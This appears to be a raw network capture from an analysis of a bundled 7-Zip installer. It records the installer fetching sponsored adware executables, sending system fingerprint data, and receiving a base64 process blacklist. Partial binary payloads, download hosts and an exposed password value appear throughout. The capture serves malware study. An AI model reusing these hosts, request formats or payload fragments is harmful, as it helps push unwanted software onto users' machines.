Content-Length: 99552

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 99552-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3e52450f75-FRA
&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HWn
fr{l)nttYiut*n{~UrJqXqX'|qWkhitggn&t mWx*mhkgqQ&.\RsQ^(s mumW"vhUmusYu
u&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]I
Ys]RIT\)rE]fY\HWnfr{l)nttYiut*n{~UrJqXqX'|qWkhitggn&t mWx*mhkgqQ&.\RsQ
^(s mum&"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]
IYs]RIT\)rE]fY\H&r|rhwhqur}iuEfqKFUr{J)mv&Zm{\&iu~*mKx qKEgrJq(q)&.\Rs
Q^(s mum'"vhUmusYuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{
[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&r|rhwhqur}iuEfqKFUr{J)mv&Zm{\&iu~*mK
x qKEgrJq(q)&.\RsQ^(s mum("vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y
{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&nhnuJ(qur|iuq'oumUm{x)o|&YqKlXitt(n
JkgrhlWnu\'qy&.\RsQ^(s mum)"vhUmusYuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])
nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&nhnuJ(qur|iuq'oumU
m{x)o|&YqKlXitt(nJkgrhlWnu\'qy&.\RsQ^(s mum*"vhUmusYuu&wts&gvrsYn^znX]
)nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HWsgmu[|nJq&ius{mhx
UnWEgmL&WrtggiuF(m&wgous|rKx qy&.\RsQ^(s mum "vhUmusYuu&wts&gvrsYy])\(
n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HW
sgmu[|nJq&ius{mhxUnWEgmL&WrtggiuF(m&wgous|rKx qy&.\RsQ^(s muqZ"vhUmusY
uu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H
&t'o{w}mum iuhWr{tUq&rhqv&Wrtt iuggqulWrKJ(otw|qy&.\RsQ^(s muqY"vhUmus
Yuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS
]IYs]RIT\)rE]fY\H&t'o{w}mum iuhWr{tUq&rhqv&Wrtt iuggqulWrKJ(otw|qy&.\R
sQ^(s muqX"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRs<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:16 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET / HTTP/1.1

Range: bytes=174216-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3df47d0f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=174216-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 24888

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 174216-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3e54800f75-FRA

 .f.7.l.5.s.2.y.0.g.6.m.4.t.1.b.8.h.5.o.3.u.0.c.7. .4.p.2.v.0.d.6.j.4.
q.1.w.8.e.5.k.3.r.0.y.7.f.4.m. .s.8.a.6.g.3.n.1.t.7.b.5.h.3.o.0.u.7.c.
4.i.2.p.8. .6.d.3.k.1.q.7.x.5.e.2.l.0.r.6.y.4.f.2.m.8.s.6.a. .g.1.n.7.
t.5.b.2.i.0.o.6.v.4.c.1.j.8.p.5.w.3.d.0. .7.q.5.x.2.e.0.l.6.r.4.y.1.f.
8.m.5.t.3.a.0.h.7.n. .u.2.b.8.i.6.o.4.v.1.c.8.j.5.p.3.w.0.d.7.k.4.q.2.
 .8.f.6.l.3.s.1.y.7.g.5.m.2.t.0.a.7.h.4.n.2.u.8.b. .i.3.o.1.v.7.d.5.j.
2.q.0.w.6.e.4.k.1.r.8.x.6.f.3. .1.s.7.y.5.g.2.m.0.t.6.a.4.h.1.o.8.u.5.
c.3.i.0.p. .v.4.d.2.j.0.q.6.w.4.e.1.k.8.r.5.x.3.f.0.m.7.s.4. .2.g.8.n.
6.t.3.b.1.h.8.o.5.u.3.c.0.i.7.p.4.v.2.d. .j.6.q.3.x.1.e.7.l.5.r.2.y.0.
f.6.m.4.s.2.a.8.g.6. .3.t.1.b.7.h.5.o.2.v.0.c.6.j.4.p.1.w.8.d.5.k.3.q.
 .x.7.e.5.l.2.r.0.y.6.f.4.m.1.s.8.a.5.h.3.n.0.u.7. .4.i.2.o.8.v.6.c.4.
j.1.p.8.w.5.d.3.k.0.q.7.x.4.f. .l.8.s.6.y.3.g.1.m.7.t.5.a.3.h.0.n.7.u.
4.b.2.i.8. .6.v.3.c.1.j.7.q.5.w.2.e.0.k.6.r.4.x.1.f.8.l.6.s. .y.1.g.7.
m.5.t.2.a.0.h.6.o.4.u.1.c.8.i.5.p.3.v.0. .7.j.4.q.2.w.0.e.6.k.4.r.1.x.
8.f.5.l.3.s.0.a.7.g. .n.2.t.8.b.6.h.3.o.1.u.8.c.5.i.3.p.0.v.7.d.4.j.2.
 .8.x.6.e.3.l.1.r.7.y.5.f.2.m.0.s.6.a.4.g.2.n.8.t. .b.3.h.1.o.7.u.5.c.
2.j.0.p.6.w.4.d.1.k.8.q.5.x.3. .1.l.7.r.5.y.2.f.0.m.6.s.4.a.1.h.8.n.5.
u.3.b.0.i. .o.4.v.2.c.8.j.6.p.4.w.1.d.8.k.5.q.3.x.0.e.7.l.4. .2.y.8.g.
6.m.3.t.1.a.7.h.5.n.3.u.0.b.7.i.4.o.2.v. .c.6.j.3.q.1.w.7.e.5.k.2.r.0.
x.6.f.4.l.1.s.8.y.6. .3.m.1.t.7.a.5.h.2.n.0.u.6.c.4.i.1.p.8.v.5.d.3.j.
 .q.7.w.5.e.2.k.0.r.6.x.4.f.1.l.8.s.5.a.3.g.0.n.7. .4.b.2.h.8.o.6.u.3.
c.1.i.8.p.5.v.3.d.0.j.7.q.4.w. .e.8.l.6.r.3.y.1.f.7.m.5.s.2.a.0.g.

<<< skipped >>>

GET /awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.7.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:57:22 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............v.G.5......f.2 $G..2.........\v5Ic%...$...."...=..d
w.s""#.P...u.]"232"2..g...V..[~.Lj..d|....{.$..o.vo.,.Zo....2.V..._.}.
....e..E.2...=...z7..vv.iV.jW..(..?)..N..x<N.....%.~....Iw5.Lf.$...
E..o\.....^I.'..W.s9[,;.Q.....?..e...._..x..M.e..,.....]M..W.&s.Y...Eg
.G.......)...=..&...l0H.....'Z.Y.....<.,..a...,..{.x.........'.q?..
.k.......-...2.M..U..H/.V..y.).......6O{......c<.'OW..6.l`>...g.
f.P.....0WI.uO......~.3...K...9<9..."A...d.L.x......8.a0..b.t....l.
:..AK6[.\.gCt|.....e2.a.....".....b../>....}....j.&.h.#...H..9....{
.D...*..;......x.!......x..4.1..Q.o3.,.Y......n.j...?..%xn.. .c l#.e..
..U...}..gq............lU.T>:~_..M.....%...3N....W.....k...Q.-.a...
|m<[email protected]..{../.m...q.8...;q..l._t...}....W|......:...Z\...Q......I.
q.j..7J.....nt....d....^2.\.C.j..r.O/:.f...E:...$.Aiz.. ..X.r5.l......
...S.C2Fg1..y.........Nw.\.^...X...;....,z..m9.9...I.G..>.j7.......
t..bk..6}..J...9.P.N.l!........ c..f........`:..Jd.|5...RB.[....P.V..0
........_.;?...;?..{wo....rw...?p..w@-@r.........~..w.@(...m.......o..
D..c.{{..7...t....>.;W.~...t22.w7.n......0..u...*~...}..........3,.
...?@.............<....{C.....8<._.....[=[\.._1.R..{o...{7..S..7
......y. ...W..;_.....~.........n..n..._..............?.5.E.....8^,..#
......(...&..O..a.H.F.=|6.....|..._..!...,..).._.d.s...W."V. e....a...
..;....K4..VSal.q..{..y.\..W)$..{....'.5YM..2../cp.I? ...Wl...;....z..
4.~......y...h.0....'..rt.l&..tP...Q.4.'[{...;I......`N.)..C}^...|rmo.
:lm.|....7./G.b..c..0n\...|..c.B..<.v(k7T(....LU27...U-.7....ps<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Content-Length: 4119

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.7.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1

country=UA&uid_orig=8bcb66b22b13e545b4025cefa77c7e57&uid=8bcb66b22b13e545b4025cefa77c7e57&affid=awfr7zip23772&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=e6f454b2118e3679397b40fba0840546&tokyo_csrf_timestamp=1420693042&unique_id=false&clientIp=193.138.244.231&ffInstalled=fa
HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:57:23 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f10.............\ms.6.. ....B.z.d..;r...K..&..]..@$$......(...{./.IK..
.i....I...b....... ..P.<]9'W.y..(|..S..Y...S..^F.g.-y.7..=.....aN..
r..a.1....X>.......29..<.^... 6...` .`..\,y..\2.f..0..y.y6Q.s...
...s..3.,..i*.\....(./...[5<_...B4....|...6.....r}............'..iF
....."_....r.G..,I.8..&{.. ....*....9.`..B..Pjj{tY..2..3h.H........2. 
..V7<.X..[.Y ...hL.UT-Z.X..L.r6^.A$.(.D`-t..E..v...:?Ak.e...V....c)
}!.4.O-..Yd..X...&&._.1.#c0.i..A.[.H...q.Wz....<6..O.K.y"0.X...R5'a
:......(3..9.<kOhN...L......LE....]?R.a.(.9X.<...i.5a......W....
cc.....vf.I.}..U..X.@.:...f,.0..........3.....U..&.I..~........K<,.
P.K..`C.H..j.~$..$HI.JV....P.;4..X.....f....^.-F.a.1.......6.~....KoB.
k...!..{.yI..w..{..m.,..^...1u..pl.-.."[email protected].....;.Q.r.f
..0..c4i.7.y.:......I...B..........a...l%.Y.....<9........43.;...IS
.S.............x |..S..n..P1......z%K..P..e.L..,...0vN&<....5<..
2Q. k.i.B.c1........d.a....(...=.#..'c.%|..\9.<Z..;.Q9.Y..3._.~R.!.
......_....A.u.\R1.3x.....{.....R...K..us!./.......?.~:..f..S.~...$...
..=..."M.....ax......\.;O.......a....Z..g.a..9:;o.[...|....ju[\.....r1
....d....^.....1IA.......c..R....`[email protected]<?>;.......
1.........m?.t.G.'..nI:.._.)..{..oh.&-.<..f.U!g./..u..z0.b*......C.
..]..[....!G....|.,e......}_}Zl.......r.lN.4z7..t).&...`..5:...Wi..#P3
...n.842...wX....C#..s.38/.:N.H.~O.6..yll.:.U.W.B..n.p.~..M.H[[email protected](
W [email protected],.,....q.F....c..-.$..R.......
P..[.|.|A.\.\0N#........CT............y....f..H1..l..=.a<.,3.No<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.29407201139056976 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.1.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:54:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:54:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=291732-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 291732-583463/583464

Content-Length: 291732

Connection: keep-alive
.k.,...........MuV.t3"...=....I8.E$..dI.f........>S.......C......@%
..Q|E..2.....fww.~..]R.*$?).>[email protected]...\U..
G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.....WE.3h...
.).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=....fM.F.....z
...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9.....U.....?.'
......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<.D..v.).i<
;:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<36..c}t..;...
.j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....}.EeL..R....
5"...(......../.....W..~..].@.. [email protected]%.Y...r]a.b..
.....)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..k...r.....Ia
PJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N..'.4.......
'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e.........D....
Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q.........#....@
$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|..D......@..
[email protected]....\<1.|.*...m>....o#.@..
&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1.........x..n.O|
.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].,...g.=
}4n......aH...a.....`..v.......'@...<R.L......."J(..##..nV'..f../V.
..w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F...........M..
...m.G.........s..X...|.......;......2..B..AAu4..Wu..B...lf..........B
Uw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..C..=...a..z.
....G..?..i-.2.....hD..?....^?..B........~.....>]........G0...F<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=115620-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 192700

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 115620-308319/308320

e.s.-.d.o...e.s.-.e.c...e.s.-.e.s...e.s.-.g.t...e.s.-.h.n...e.s.-.m.x.
..e.s.-.n.i...e.s.-.p.a...e.s.-.p.e...e.s.-.p.r...e.s.-.p.y...e.s.-.s.
v...e.s.-.u.y...e.s.-.v.e...e.t.-.e.e...e.u.-.e.s...f.a.-.i.r...f.i.-.
f.i...f.o.-.f.o...f.r.-.b.e...f.r.-.c.a...f.r.-.c.h...f.r.-.f.r...f.r.
-.l.u...f.r.-.m.c...g.l.-.e.s...g.u.-.i.n...h.e.-.i.l...h.i.-.i.n...h.
r.-.b.a...h.r.-.h.r...h.u.-.h.u...h.y.-.a.m...i.d.-.i.d...i.s.-.i.s...
i.t.-.c.h...i.t.-.i.t...j.a.-.j.p...k.a.-.g.e...k.k.-.k.z...k.n.-.i.n.
..k.o.k.-.i.n.....k.o.-.k.r...k.y.-.k.g...l.t.-.l.t...l.v.-.l.v...m.i.
-.n.z...m.k.-.m.k...m.l.-.i.n...m.n.-.m.n...m.r.-.i.n...m.s.-.b.n...m.
s.-.m.y...m.t.-.m.t...n.b.-.n.o...n.l.-.b.e...n.l.-.n.l...n.n.-.n.o...
n.s.-.z.a...p.a.-.i.n...p.l.-.p.l...p.t.-.b.r...p.t.-.p.t...q.u.z.-.b.
o.....q.u.z.-.e.c.....q.u.z.-.p.e.....r.o.-.r.o...r.u.-.r.u...s.a.-.i.
n...s.e.-.f.i...s.e.-.n.o...s.e.-.s.e...s.k.-.s.k...s.l.-.s.i...s.m.a.
-.n.o.....s.m.a.-.s.e.....s.m.j.-.n.o.....s.m.j.-.s.e.....s.m.n.-.f.i.
....s.m.s.-.f.i.....s.q.-.a.l...s.r.-.b.a.-.c.y.r.l.....s.r.-.b.a.-.l.
a.t.n.....s.r.-.s.p.-.c.y.r.l.....s.r.-.s.p.-.l.a.t.n.....s.v.-.f.i...
s.v.-.s.e...s.w.-.k.e...s.y.r.-.s.y.....t.a.-.i.n...t.e.-.i.n...t.h.-.
t.h...t.n.-.z.a...t.r.-.t.r...t.t.-.r.u...u.k.-.u.a...u.r.-.p.k...u.z.
-.u.z.-.c.y.r.l.....u.z.-.u.z.-.l.a.t.n.....v.i.-.v.n...x.h.-.z.a...z.
h.-.c.h.s.....z.h.-.c.h.t.....z.h.-.c.n...z.h.-.h.k...z.h.-.m.o...z.h.
-.s.g...z.h.-.t.w...z.u.-.z.a...................................... !"
#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^

<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?267d032e27c9da6a HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Wed, 12 Mar 2014 20:20:10 GMT

If-None-Match: "0b96c77303ecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Fri, 12 Sep 2014 18:47:05 GMT

Accept-Ranges: bytes

ETag: "805a83f2b9cecf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 56928

Date: Thu, 08 Jan 2015 04:54:55 GMT

Connection: keep-alive
MSCF....`.......,...................I.................,E.Y .authroot.s
tl..Y-..8..CK...<T...g.v!M.d..f.%d..}K..5..F. ...T..%.,YJ.,!T......
_..x.<=O.....yy....;3..>.|..~..\.....|......;..8..~.za...."A...q
.......g..m......<X........j"I........!..-w.....w....P...H..(.?}..2
.N. .u..a. ...=.C..D.F>rC.. ..|).=.. ..3b.8H.M...(...u8.%...W.g...\
YB.m:.....dE.........V....$....Dn:....0...S."...o..q.....K...I..K...(x
%....>A.R...`.0 .........<`L0mp...%....y.....g.n...R0Op..<..,
....`0$z.@..&.x"....T..H...<........~..E..".....<<.\B(.......
[email protected]/"...f.......k..Jm7j....R.5q....Rz.
.!@...].......Y.[........4.. .D8..&...t.J^O..Q.._..1.J.m5<'k.,....%
T....i.\.;.;q..S./ 8.?Bu.............}D.Q....L....*..[.."e......15m...
_.0.M........#..v!..<...@..?sc.y....*.....tX[........{.W4.Q...^u@..
*..QP.......~.L9N....2r...4.....B..-\(...b.d...K...O.8..Un.......V.<
;.......A...V.....(..s..f..q.{N0.hS.,..;M.|G|[email protected].._.....7._6...C.0...
A;L....%...M=Y.....f.JV.(.5.....0..?*...KZ....jM...8.6U...#...ew.?..?.
..........WE.Or..O>..{.'[email protected]}.o:?~....]&l
t;!...%....}@.d...L.p.a.g ..K."..N1!%..S.bT.H.-.....e..`.0$...0t..DX..
{.....#./...8.5..M...T.......D......V\C.zy.....3E:..>.{..).QW......
q....9..n..1....8%,.........r.p@.>. ...Q.?.p..7.?..7...&..!........
.`. .=....Sf..q.l.A.....L...t.}g..;...f....=.e.~.z....C..*R....H-..=..
.f..(t'.."....F...g._....n.J..U.4vr`}.....1..o@.....@.#...R. L8....z..
].|......3..y..-./....K..6{...s.<R`.}[email protected]....<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420692840&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=jz1e1q45ikgezlf1wzoex5uz


HTTP/1.1 200 OK

Connection: close

Date: Thu, 08 Jan 2015 04:54:20 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=971667-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 138809

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..<<< skipped >>>

